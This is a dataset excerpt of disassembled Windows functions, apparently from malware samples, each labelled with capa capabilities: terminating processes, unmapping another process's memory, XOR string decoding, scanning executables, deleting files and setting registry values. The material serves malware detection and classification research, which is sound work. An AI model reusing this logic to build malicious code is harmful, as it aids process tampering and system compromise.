joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402cea
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
xor esi, esi
mov ebx, eax
push edi
mov dword [ebp - 4], esi
cmp ebx, esi
je 0x402d89
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp ebx, eax
jne 0x402d11
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_OpenProcess]
push 1
call esi
mov edi, eax
test edi, edi
je 0x402d89
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x402d7c
push edi
call fcn.00402a54
push ebx
push 0
push 0x1fffff
call esi
mov edi, eax
test edi, edi
je 0x402d89
push 0xc
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
test eax, eax
je 0x402d61
push 9
pop ebx
mov edx, 0x4097b0
call fcn.0040449f
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
push edi
call dword [sym.imp.ntdll.dll_ZwUnmapViewOfSection]
xor ecx, ecx
test eax, eax
setns cl
mov dword [ebp - 4], ecx
jmp 0x402d83
mov dword [ebp - 4], 1
push edi
call fcn.00402a54
mov eax, dword [ebp - 4]
lea esp, [ebp - 0x10]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x402d94
Capabilities:
Access pe header
Enumerate files on windows
Get common file path
Query environment variable
Set current directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x570
push ebx
push esi
push edi
xor edi, edi
push 0x13c
lea eax, [ebp - 0x150]
push edi
push eax
mov dword [ebp - 0x154], edi
call sub.ntdll.dll_memset
add esp, 0xc
push 0x18
pop eax
mov dword [ebp - 0xc], edi
call sub.ntdll.dll__alloca_probe
mov esi, esp
push 0x14
pop ebx
cmp esi, edi
je 0x402ddd
mov eax, esi
mov edx, 0x4099b0
call fcn.0040449f
push 0x18
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
mov dword [ebp - 8], eax
cmp eax, edi
je 0x402df8
mov edx, 0x4099c4
call fcn.0040449f
push 8
pop eax
call sub.ntdll.dll__alloca_probe
mov edi, esp
test edi, edi
je 0x402e15
push 5
mov eax, edi
pop ebx
mov edx, 0x4099dc
call fcn.0040449f
call fcn.004026ba
test eax, eax
mov eax, dword [ebp - 8]
jne 0x402e23
mov eax, esi
mov esi, 0x104
push esi
lea ecx, [ebp - 0x25c]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea eax, [ebp - 0x364]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea eax, [ebp - 0x25c]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
test edi, edi
je 0x402e65
push edi
lea eax, [ebp - 0x25c]
push eax
push eax
call dword [sym.imp.SHLWAPI.dll_PathCombineA]
lea eax, [ebp - 0x154]
push eax
lea eax, [ebp - 0x25c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov edi, eax
test edi, edi
je 0x402f7d
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x128]
push eax
call dword [sym.imp.KERNEL32.dll_GetBinaryTypeA]
test eax, eax
je 0x402f67
xor ebx, ebx
cmp dword [ebp - 8], ebx
jne 0x402f67
lea eax, [ebp - 0x128]
push eax
call fcn.0040279d
test eax, eax
jne 0x402f67
and dword [ebp - 0x10], ebx
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x128]
push eax
call fcn.0040326d
mov esi, eax
test esi, esi
je 0x402f67
push esi
call dword [sym.imp.ntdll.dll_RtlImageNtHeader]
test eax, eax
je 0x402eeb
cmp word [eax + 0x5c], 2
sete bl
call fcn.0040469e
test ebx, ebx
je 0x402f67
push 0x10
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
test eax, eax
je 0x402f20
push 9
pop ebx
mov edx, 0x4096c8
call fcn.0040449f
push eax
lea eax, [ebp - 0x128]
push eax
call fcn.00403304
test eax, eax
je 0x402f67
cmp dword [ebp + 8], 0
je 0x402f52
lea eax, [ebp - 0x128]
push eax
lea eax, [ebp - 0x56c]
push 0x407444
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x56c]
push eax
call fcn.00403419
test eax, eax
je 0x402f67
push 0
lea eax, [ebp - 0x128]
push eax
call fcn.00402ae2
mov dword [ebp - 0xc], eax
test eax, eax
jne 0x402f7d
lea eax, [ebp - 0x154]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x402e83
lea eax, [ebp - 0x364]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
test edi, edi
je 0x402f95
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp - 0xc]
lea esp, [ebp - 0x57c]
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x40326d
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
xor ebx, ebx
push esi
xor esi, esi
mov dword [ebp - 4], ebx
cmp dword [ebp + 8], ebx
je 0x4032f2
push 0x80000000
push dword [ebp + 8]
call fcn.00403216
mov dword [ebp + 8], eax
cmp eax, 0xffffffff
je 0x4032f2
push edi
xor eax, eax
mov dword [ebp - 0x10], ebx
lea edi, [ebp - 0xc]
stosd dword es:[edi], eax
lea eax, [ebp - 0x10]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov esi, dword [ebp - 0x10]
mov dword [ebp - 0xc], esi
cmp esi, ebx
je 0x4032e6
call fcn.004045ea
mov edi, eax
mov dword [ebp - 4], edi
cmp edi, ebx
je 0x4032e6
push ebx
lea eax, [ebp - 8]
push eax
push esi
push edi
push dword [ebp + 8]
mov dword [ebp - 8], ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp eax, ebx
jne 0x4032e6
mov esi, edi
call fcn.0040469e
mov dword [ebp - 4], ebx
push dword [ebp + 8]
call fcn.00402a54
mov esi, dword [ebp - 0xc]
pop edi
mov eax, dword [ebp + 0xc]
cmp eax, ebx
je 0x4032fb
mov dword [eax], esi
mov eax, dword [ebp - 4]
pop esi
pop ebx
leave
ret 8

Function at 0x403304
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
push ebx
xor ebx, ebx
push esi
push edi
mov dword [ebp - 4], ebx
cmp dword [ebp + 8], ebx
je 0x403409
cmp dword [ebp + 0xc], ebx
je 0x403409
push ebx
push dword [ebp + 8]
call dword [sym.imp.VERSION.dll_GetFileVersionInfoSizeA]
mov esi, eax
cmp esi, ebx
jne 0x403342
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x403409
call fcn.004045ea
mov edi, eax
cmp edi, ebx
je 0x403409
push edi
push esi
push ebx
push dword [ebp + 8]
call dword [sym.imp.VERSION.dll_GetFileVersionInfoA]
test eax, eax
je 0x403402
push 0x1c
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
cmp eax, ebx
je 0x403382
push 0x1a
pop ebx
mov edx, 0x409990
call fcn.0040449f
xor ebx, ebx
mov esi, dword [sym.imp.VERSION.dll_VerQueryValueA]
lea ecx, [ebp - 0x10]
push ecx
lea ecx, [ebp - 0xc]
push ecx
push eax
push edi
call esi
test eax, eax
je 0x403402
push 0x28
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
cmp eax, ebx
je 0x4033b3
push 0x27
pop ebx
mov edx, 0x40989c
call fcn.0040449f
mov ecx, dword [ebp - 0xc]
movzx edx, word [ecx + 2]
movzx ecx, word [ecx]
push edx
push ecx
push eax
lea eax, [ebp - 0x118]
push 0x104
push eax
call dword [sym.imp.ntdll.dll__snprintf]
add esp, 0x14
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x118]
push eax
push edi
call esi
test eax, eax
je 0x403402
push dword [ebp + 0xc]
push dword [ebp - 8]
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
je 0x403402
mov dword [ebp - 4], 1
mov esi, edi
call fcn.0040469e
mov eax, dword [ebp - 4]
lea esp, [ebp - 0x124]
pop edi
pop esi
pop ebx
leave
ret 8

Function at 0x403501
Capabilities:
Delete file
Set file attributes

Disassembly:
xor eax, eax
test edi, edi
je 0x403521
push esi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
push edi
call esi
test eax, eax
jne 0x403520
push edi
call esi
pop esi
ret
Function at 0x403728
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
push ebx
push esi
push edi
mov esi, 0x104
push esi
lea eax, [ebp - 0x208]
push eax
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x14
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
cmp eax, edi
je 0x403765
push 0x12
pop ebx
mov edx, 0x409a00
call fcn.0040449f
lea ecx, [ebp - 0x208]
push ecx
push eax
lea eax, [ebp - 0x104]
push esi
push eax
call dword [sym.imp.ntdll.dll__snprintf]
add esp, 0x10
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x40379c
lea edi, [ebp - 0x104]
call fcn.00403501
mov edi, eax
mov eax, edi
lea esp, [ebp - 0x214]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4037a9
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
push ebx
push edi
push 3
xor edi, edi
call fcn.0040450c
add eax, 3
push eax
call fcn.0040476c
mov ebx, eax
cmp ebx, edi
je 0x40383d
push esi
push 4
mov dword [ebp - 0x10], 0x23
mov dword [ebp - 0xc], 0x1c
mov dword [ebp - 8], 0x1a
mov dword [ebp - 4], 0x28
call fcn.0040450c
mov eax, dword [ebp + eax*4 - 0x10]
lea ecx, [ebp - 0x114]
push ecx
push edi
push edi
or eax, 0x8000
push eax
push edi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
js 0x403835
mov esi, 0x104
call fcn.004045ea
mov edi, eax
test edi, edi
je 0x403835
push edi
push 0xffffffffffffffff
call fcn.0040450c
push eax
push ebx
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
mov esi, ebx
call fcn.0040469e
pop esi
mov eax, edi
pop edi
pop ebx
leave
ret

Function at 0x403843
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push ebx
push esi
xor ebx, ebx
xor esi, esi
cmp edi, ebx
je 0x4038da
push edi
push ebx
push ebx
push 0x23
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
js 0x4038da
push 4
pop eax
call sub.ntdll.dll__alloca_probe
mov esi, esp
cmp esi, ebx
je 0x403887
push 2
mov eax, esi
pop ebx
mov edx, 0x409a6c
call fcn.0040449f
push 0xffffffffffffffff
call fcn.0040450c
push eax
push esi
lea eax, [ebp - 0x104]
push 0x104
push eax
call dword [sym.imp.ntdll.dll__snprintf]
add esp, 0x10
lea eax, [ebp - 0x104]
push eax
push edi
push edi
call dword [sym.imp.SHLWAPI.dll_PathCombineA]
push 8
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
test eax, eax
je 0x4038cf
push 4
pop ebx
mov edx, 0x40963c
call fcn.0040449f
push eax
push edi
call dword [sym.imp.SHLWAPI.dll_PathAddExtensionA]
xor esi, esi
inc esi
mov eax, esi
lea esp, [ebp - 0x10c]
pop esi
pop ebx
leave
ret
Function at 0x403969
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x22c
push ebx
push esi
push edi
xor eax, eax
push 0x220
push eax
mov dword [ebp - 8], eax
mov dword [ebp - 0x22c], eax
lea eax, [ebp - 0x228]
push eax
call sub.ntdll.dll_memset
mov esi, dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
add esp, 0xc
push dword [ebp + 8]
push 8
pop edi
push edi
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
jne 0x4039c2
call ebx
cmp eax, 0x18
jne 0x4039c2
push dword [ebp + 8]
push edi
call esi
mov dword [ebp - 4], eax
lea eax, [ebp - 0x22c]
push eax
push dword [ebp - 4]
mov dword [ebp - 0x22c], 0x224
call dword [sym.imp.KERNEL32.dll_Module32First]
test eax, eax
jne 0x4039eb
call ebx
cmp eax, 0x12
je 0x403a5f
call ebx
jmp 0x403a5f
mov eax, edi
call sub.ntdll.dll__alloca_probe
mov eax, esp
mov dword [ebp + 8], eax
test eax, eax
je 0x403a08
push 6
pop ebx
mov edx, 0x40969c
call fcn.0040449f
mov eax, edi
call sub.ntdll.dll__alloca_probe
mov edi, esp
test edi, edi
je 0x403a24
push 4
mov eax, edi
pop ebx
mov edx, 0x409638
call fcn.0040449f
mov esi, dword [sym.imp.SHLWAPI.dll_StrStrIA]
push dword [ebp + 8]
lea eax, [ebp - 0x20c]
push eax
call esi
test eax, eax
je 0x403a42
push edi
push eax
call esi
test eax, eax
jne 0x403a58
lea eax, [ebp - 0x22c]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_Module32Next]
test eax, eax
jne 0x403a2a
jmp 0x403a5f
mov dword [ebp - 8], 1
cmp dword [ebp - 4], 0xffffffff
je 0x403a6d
push dword [ebp - 4]
call fcn.00402a54
mov eax, dword [ebp - 8]
lea esp, [ebp - 0x238]
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x403cf8
Capabilities:
Query environment variable
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x224
and dword [ebp - 8], 0
and dword [ebp - 4], 0
push ebx
push esi
push edi
push 0x14
pop ecx
xor al, al
lea edi, [ebp - 0x1c]
push 0x1c
rep stosb byte es:[edi], al
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
test eax, eax
je 0x403d31
push 0x1b
pop ebx
mov edx, 0x409afc
call fcn.0040449f
mov esi, 0x104
push esi
lea ecx, [ebp - 0x120]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea eax, [ebp - 0x120]
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x403d4e
sub eax, ecx
push 0x8004
lea ecx, [ebp - 0x1c]
push ecx
push eax
lea eax, [ebp - 0x120]
push eax
call fcn.00402584
xor al, al
lea edi, [ebp - 0x120]
mov ecx, esi
rep stosb byte es:[edi], al
push 4
lea eax, [ebp - 0x120]
lea edi, [ebp - 0x1c]
call fcn.00402659
push 4
pop eax
call sub.ntdll.dll__alloca_probe
mov edi, esp
test edi, edi
je 0x403da6
push 2
mov eax, edi
pop ebx
mov edx, 0x409a6c
call fcn.0040449f
lea eax, [ebp - 0x120]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403daf
sub eax, edx
push 0x4e67b4a9
push eax
lea eax, [ebp - 0x120]
push eax
call fcn.00404530
push eax
push edi
lea eax, [ebp - 0x224]
push esi
push eax
call dword [sym.imp.ntdll.dll__snprintf]
add esp, 0x10
push 0x20
pop eax
call sub.ntdll.dll__alloca_probe
mov eax, esp
test eax, eax
je 0x403df8
push 0x1c
pop ebx
mov edx, 0x409ae0
call fcn.0040449f
lea ecx, [ebp - 4]
push ecx
push 0xf023f
xor esi, esi
push esi
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x403e45
push 0x16116
push str.AP32
push 3
push esi
lea eax, [ebp - 0x224]
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x403e45
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov dword [ebp - 8], 1
cmp dword [ebp - 4], esi
je 0x403e53
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 8]
lea esp, [ebp - 0x230]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40449f
Capabilities:
Encode data using xor

Disassembly:
push esi
push edi
test ebx, ebx
je 0x4044b9
mov esi, edx
mov ecx, eax
sub esi, eax
mov edi, ebx
mov dl, byte [esi + ecx]
xor dl, 0x86
mov byte [ecx], dl
inc ecx
dec edi
jne 0x4044ad
xor edx, edx
mov byte [ebx + eax], dl
cmp ebx, edx
jbe 0x404509
lea esi, [edx + eax]
cmp byte [esi], 0x5c
jne 0x404504
lea edi, [edx + eax + 1]
mov cl, byte [edi]
cmp cl, 0x5c
je 0x4044fa
cmp cl, 0x72
jne 0x4044df
mov byte [esi], 0xd
jmp 0x4044fa
cmp cl, 0x6e
jne 0x4044e9
mov byte [esi], 0xa
jmp 0x4044fa
cmp cl, 0x74
jne 0x4044f3
mov byte [esi], 9
jmp 0x4044fa
cmp cl, 0x22
jne 0x404504
mov byte [esi], cl
mov ecx, ebx
sub ecx, edx
lea esi, [edx + eax + 2]
rep movsb byte es:[edi], byte [esi]
inc edx
cmp edx, ebx
jb 0x4044c2
pop edi
pop esi
ret
Function at 0x404b48
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
pushal
mov esi, dword [esp + 0x24]
mov ecx, dword [esp + 0x28]
mov edi, 0x40527c
sub eax, eax
test esi, esi
je 0x404c20
sub eax, 1
test ecx, ecx
je 0x404c1e
test esi, 3
je 0x404b86
xor al, byte [esi]
inc esi
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
dec ecx
jne 0x404b6b
mov edx, ecx
and edx, 7
shr ecx, 3
je 0x404c05
xor eax, dword [esi]
add esi, 4
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
xor eax, dword [esi]
add esi, 4
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
dec ecx
jne 0x404b90
mov ecx, edx
test ecx, ecx
je 0x404c1e
xor al, byte [esi]
inc esi
mov ebx, 0xff
and ebx, eax
shr eax, 8
xor eax, dword [edi + ebx*4]
dec ecx
jne 0x404c0b
not eax
mov dword [esp + 0x1c], eax
popal
ret
Function at 0x59d5c0
Capabilities:
Inspect section memory permissions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push 0x406016
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x94
push ebx
push esi
push edi
mov dword [ebp - 0xc], esp
mov dword [ebp - 8], 0x403a08
mov ebx, dword [ebp + 8]
xor edi, edi
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x20], edi
mov eax, dword [ebx]
mov dword [ebp - 0x28], edi
push eax
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x48], edi
mov dword [ebp - 0x58], edi
mov dword [ebp - 0x68], edi
mov dword [ebp - 0x88], edi
call dword [sym.imp.MSVBVM60.DLL_rtcTrimBstr]
mov edx, eax
mov ecx, ebx
call dword [sym.imp.MSVBVM60.DLL___vbaStrMove]
mov ecx, dword [ebx]
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaLenBstr]
mov dword [ebp - 0xa0], eax
fild dword [ebp - 0xa0]
fstp qword [ebp - 0xa8]
fld qword [ebp - 0xa8]
cmp dword [section..data], 0
jne 0x59d651
fdiv qword [0x4027f0]
jmp 0x59d662
push dword [0x4027f4]
push dword [0x4027f0]
call sub.MSVBVM60.DLL__adj_fdiv_m64
fnstsw ax
test al, 0xd
jne 0x59d802
call dword [sym.imp.MSVBVM60.DLL___vbaFpI4]
mov esi, eax
push edi
mov edx, esi
lea eax, [ebp - 0x20]
sub edx, 1
jo 0x59d807
push edx
push 1
push 0x11
push eax
push 1
push 0x80
call dword [sym.imp.MSVBVM60.DLL___vbaRedim]
add esp, 0x1c
sub esi, 1
jo 0x59d807
mov dword [ebp - 0x94], esi
xor esi, esi
cmp esi, dword [ebp - 0x94]
jg 0x59d796
mov edx, esi
mov eax, 2
imul edx, edx, 2
jo 0x59d807
lea ecx, [ebp - 0x38]
add edx, 1
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x38], eax
push ecx
lea eax, [ebp - 0x68]
jo 0x59d807
push edx
lea ecx, [ebp - 0x48]
push eax
push ecx
mov dword [ebp - 0x80], 0x411ac8
mov dword [ebp - 0x88], 8
mov dword [ebp - 0x60], ebx
mov dword [ebp - 0x68], 0x4008
call dword [sym.imp.MSVBVM60.DLL_rtcMidCharVar]
mov eax, dword [ebp - 0x20]
cmp eax, edi
je 0x59d726
cmp word [eax], 1
jne 0x59d726
mov edx, dword [eax + 0x14]
mov ecx, dword [eax + 0x10]
mov edi, esi
sub edi, edx
cmp edi, ecx
jb 0x59d72e
call dword [sym.imp.MSVBVM60.DLL___vbaGenerateBoundsError]
jmp 0x59d72e
call dword [sym.imp.MSVBVM60.DLL___vbaGenerateBoundsError]
mov edi, eax
lea edx, [ebp - 0x88]
lea eax, [ebp - 0x48]
push edx
lea ecx, [ebp - 0x58]
push eax
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaVarCat]
lea edx, [ebp - 0x28]
push eax
push edx
call dword [sym.imp.MSVBVM60.DLL___vbaStrVarVal]
push eax
call dword [sym.imp.MSVBVM60.DLL_rtcR8ValFromBstr]
call dword [sym.imp.MSVBVM60.DLL___vbaFpUI1]
mov ecx, dword [ebp - 0x20]
mov edx, dword [ecx + 0xc]
lea ecx, [ebp - 0x28]
mov byte [edx + edi], al
call dword [sym.imp.MSVBVM60.DLL___vbaFreeStr]
lea eax, [ebp - 0x58]
lea ecx, [ebp - 0x48]
push eax
lea edx, [ebp - 0x38]
push ecx
push edx
push 3
call dword [sym.imp.MSVBVM60.DLL___vbaFreeVarList]
mov eax, 1
add esp, 0x10
add eax, esi
jo 0x59d807
mov esi, eax
xor edi, edi
jmp 0x59d6aa
lea eax, [ebp - 0x20]
lea ecx, [ebp - 0x1c]
push eax
push ecx
call dword [sym.imp.MSVBVM60.DLL___vbaAryMove]
wait
push 0x59d7ec
jmp 0x59d7df
lea eax, [ebp - 0x20]
push eax
push 0
call dword [sym.imp.MSVBVM60.DLL___vbaAryDestruct]
ret
jmp fcn.0040601c
call dword [sym.imp.MSVBVM60.DLL___vbaErrorOverflow]
nop
nop
nop
Function at 0x59dba0
Capabilities:
Inspect section memory permissions

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0x406016
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push ebx
push esi
push edi
mov dword [ebp - 8], esp
mov dword [ebp - 4], 0x403a28
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x30]
xor ebx, ebx
push eax
push esi
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x30], ebx
call fcn.0059d1d0
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x28], eax
push ecx
push esi
call fcn.0059d1d0
lea edx, [ebp - 0x2c]
mov dword [ebp - 0x28], eax
push edx
push esi
mov dword [ebp - 0x2c], eax
call fcn.0059d220
add eax, dword [ebp - 0x28]
jo 0x59dd84
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x2c]
push eax
push esi
call fcn.0059d220
mov ecx, dword [ebp - 0x28]
add eax, ecx
lea ecx, [ebp - 0x2c]
push ecx
push esi
jo 0x59dd84
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], eax
call fcn.0059d220
mov ecx, dword [ebp - 0x28]
lea edx, [ebp - 0x2c]
add eax, ecx
push edx
jo 0x59dd84
push esi
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], eax
call fcn.0059d220
add eax, dword [ebp - 0x28]
jo 0x59dd84
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x2c]
push eax
push esi
call fcn.0059d220
mov ecx, dword [ebp - 0x28]
add eax, ecx
lea ecx, [ebp - 0x2c]
push ecx
push esi
jo 0x59dd84
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], eax
call fcn.0059d220
mov ecx, dword [ebp - 0x28]
lea edx, [ebp - 0x2c]
add eax, ecx
push edx
jo 0x59dd84
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], eax
push esi
call fcn.0059d1d0
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x2c]
push eax
push esi
call fcn.0059d220
mov edi, dword [ebp - 0x28]
lea ecx, [ebp - 0x2c]
add eax, edi
push ecx
jo 0x59dd84
push esi
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], eax
call fcn.0059d1d0
lea edx, [ebp - 0x2c]
mov dword [ebp - 0x28], eax
push edx
push esi
call fcn.0059d2a0
sub eax, 1
jo 0x59dd84
mov dword [ebp - 0x24], eax
mov eax, dword [esi]
cmp eax, ebx
je 0x59dd13
cmp word [eax], 1
jne 0x59dd13
mov ecx, dword [ebp - 0x28]
mov edx, dword [eax + 0x14]
mov edi, ecx
sub edi, edx
mov edx, dword [eax + 0x10]
cmp edi, edx
jb 0x59dd0f
call dword [sym.imp.MSVBVM60.DLL___vbaGenerateBoundsError]
mov ecx, dword [ebp - 0x28]
mov eax, edi
jmp 0x59dd1c
call dword [sym.imp.MSVBVM60.DLL___vbaGenerateBoundsError]
mov ecx, dword [ebp - 0x28]
mov edx, dword [esi]
mov edx, dword [edx + 0xc]
cmp byte [edx + eax], bl
jne 0x59dd4d
add ecx, 1
lea eax, [ebp - 0x24]
jo 0x59dd84
mov dword [ebp - 0x28], ecx
lea ecx, [ebp - 0x28]
push eax
push ecx
push esi
call fcn.0059d310
mov dword [ebp - 0x30], eax
lea edx, [ebp - 0x30]
lea eax, [ebp - 0x18]
push edx
push eax
call dword [sym.imp.MSVBVM60.DLL___vbaAryMove]
push 0x59dd6e
jmp 0x59dd61
lea edx, [ebp - 0x38]
push edx
push 0
call dword [sym.imp.MSVBVM60.DLL___vbaAryDestruct]
ret
call dword [sym.imp.MSVBVM60.DLL___vbaErrorOverflow]
nop
nop
nop
nop
nop
nop
Function at 0x59dd90
Capabilities:
Inspect section memory permissions

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0x406016
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x34
push ebx
push esi
push edi
mov dword [ebp - 8], esp
mov dword [ebp - 4], 0x403a38
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x1c]
xor edi, edi
push eax
push esi
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x40], edi
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x1c], edi
call fcn.0059d1d0
lea ecx, [ebp - 0x34]
mov dword [ebp - 0x34], eax
push ecx
push esi
call fcn.0059d220
mov edx, dword [ebp - 0x34]
mov dword [ebp - 0x28], eax
add edx, eax
lea eax, [ebp - 0x1c]
push eax
push esi
jo 0x59dee8
mov dword [ebp - 0x1c], edx
call fcn.0059d220
mov ecx, dword [ebp - 0x1c]
add eax, ecx
lea ecx, [ebp - 0x1c]
push ecx
push esi
jo 0x59dee8
mov dword [ebp - 0x1c], eax
call fcn.0059d2a0
lea edx, [ebp - 0x1c]
sub eax, 1
push edx
push esi
jo 0x59dee8
mov dword [ebp - 0x30], eax
call fcn.0059d1d0
add eax, 1
lea ecx, [ebp - 0x34]
jo 0x59dee8
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x28]
push eax
push ecx
push esi
call fcn.0059d310
mov ebx, dword [sym.imp.MSVBVM60.DLL___vbaAryMove]
mov dword [ebp - 0x38], eax
lea edx, [ebp - 0x38]
lea eax, [ebp - 0x20]
push edx
push eax
call ebx
lea ecx, [ebp - 0x30]
lea edx, [ebp - 0x1c]
push ecx
push edx
push esi
call fcn.0059d310
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x38]
lea ecx, [ebp - 0x14]
push eax
push ecx
call ebx
lea edx, [ebp - 0x30]
lea eax, [ebp - 0x14]
push edx
lea ecx, [ebp - 0x28]
push eax
mov eax, dword [ebp + 0xc]
lea edx, [ebp - 0x20]
push ecx
push edx
push eax
call fcn.0059f130
cmp eax, edi
je 0x59dea8
mov dword [ebp - 0x24], 1
push 0x59ded2
mov esi, dword [sym.imp.MSVBVM60.DLL___vbaAryDestruct]
lea ecx, [ebp - 0x3c]
xor edi, edi
push ecx
push edi
call esi
lea edx, [ebp - 0x40]
push edx
push edi
call esi
lea eax, [ebp - 0x14]
push eax
push edi
call esi
lea ecx, [ebp - 0x20]
push ecx
push edi
call esi
ret
